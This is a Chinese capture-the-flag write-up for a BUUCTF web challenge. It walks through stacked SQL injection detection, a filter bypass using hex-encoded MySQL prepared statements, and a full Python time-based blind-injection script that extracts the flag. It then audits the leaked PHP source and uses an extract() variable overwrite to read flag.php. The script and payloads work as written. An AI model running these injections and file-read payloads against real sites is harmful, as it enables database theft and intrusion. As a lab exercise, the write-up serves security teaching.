无论URL还是界面都很有SQL的feeling,,点击注册,发现无法提供注册,使用密码本爆破也失败(应该有过滤)
0x01 抓包
界面很容易让人想起SQL注入,由于登陆没反应,我们直接抓包,因为之前堆叠注入做过几道题(buuctf 极客大挑战 ),还是比较熟悉判断方法
存在堆叠注入的判断方法 : 名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。
根据判断方法,当我们在 username 输入 admin' 或者 admin;' ,提示报错
当我们在 username 输入:admin 或者 admin’; 报错消失
我们先引来引入php中的PDO知识点
0x02 先来讲一下什么是PDO
https://xz.aliyun.com/t/3950
https://www.runoob.com/php/php-pdo.html
默认是pdo对象的query语句是能执行有;参与的多语句执行的,那我们就能闭合前面的单引号后进行堆叠注入。
0x03 由于我们没收到特殊回显和被过滤掉了许多关键字。我们构造的脚本考虑采用十六进制加预处理加上时间盲注进行绕过
因为SQL关键字被绕过而且回显并不特别的情况下再加上某些单词如 select,if.sleep 必须使用,盲注考虑后觉得时间盲注可能性比较大
select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1) ,{0} 猜测字段的长度 , {1} 是32-128的ascii数值(用来盲注爆破)
如下
1 2 3 4 mysql> select hex('select sleep(5)' ); mysql> set @a = 0x73656C65637420736C656570283529 ; mysql> prepare test from @a ; mysql> execute test;
select sleep(5) 语句可以让mysql服务休息5秒。这里这四句相当于执行了该语句,从而绕过上传被过滤的字符串。
在SQL测试中发现确实可以执行
通过mysql预处理与hex绕过过滤来过滤脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport jsonimport time def main (): url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index''' payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+" flag = '' for i in range (1 ,30 ): payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range (0 ,128 ): datas = {'username' :payloads.format (str_to_hex(payload.format (i,j))),'password' :'test213' } data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3 : flag = flag + chr (j) print (flag) break def str_to_hex (s ): return '' .join([hex (ord (c)).replace('0x' , '' ) for c in s]) if __name__ == '__main__' : main()
下载获得的源码 URL+glzjin_wants_a_girl_friend.zip
0x04开始对源码进行代码审计
前端应用逻辑的基础在 controller 文件夹下面,而其他文件都是基于 basecontroller.php 所以我们打开 basecontroller.php 文件进行代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 private $viewPath ; public function loadView ($viewName ='' , $viewData = [] ) { $this ->viewPath = BASE_PATH . "/View/{$viewName} .php" ; if (file_exists($this ->viewPath)) { extract($viewData ); include $this ->viewPath; } } }
extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php
1 2 3 4 5 public function actionIndex ( ) { $listData = $_REQUEST ; $this ->loadView('userIndex' ,$listData ); }
在Controller/UserController.php中,找到可控制的参数$listData,直接来源于$_REQUEST。 由于 $listData = $_REQUEST; 可以控制 到 userIndex.php 文件看看
1 2 3 4 5 6 7 8 <div class="fakeimg"><?php if (!isset ($img_file )) { $img_file = '/../favicon.ico' ; } $img_dir = dirname(__FILE__ ) . $img_file ; $img_base64 = imgToBase64($img_dir ); echo '<img src="' . $img_base64 . '">' ; ?> </div>
这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./…/flag.php即可,而又因为下面的路由控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if (!empty ($_REQUEST ['r' ])){ $r = explode('/' , $_REQUEST ['r' ]); list ($controller ,$action ) = $r ; $controller = "{$controller} Controller" ; $action = "action{$action} " ; if (class_exists($controller )) { if (method_exists($controller ,$action )) { } else { $action = "actionIndex" ; } } else { $controller = "LoginController" ; $action = "actionIndex" ; } $data = call_user_func(array ( (new $controller ), $action )); } else { header("Location:index.php?r=Login/Index" ); }
上面可以知道我们传入的路由 r-User/Index
0x05 我们构造playload
GET: index.php?r=User/Index
POST: img_file=/../flag.php
1 flag{68b619e4-47d7-4e76-b823-26dd0e110c68}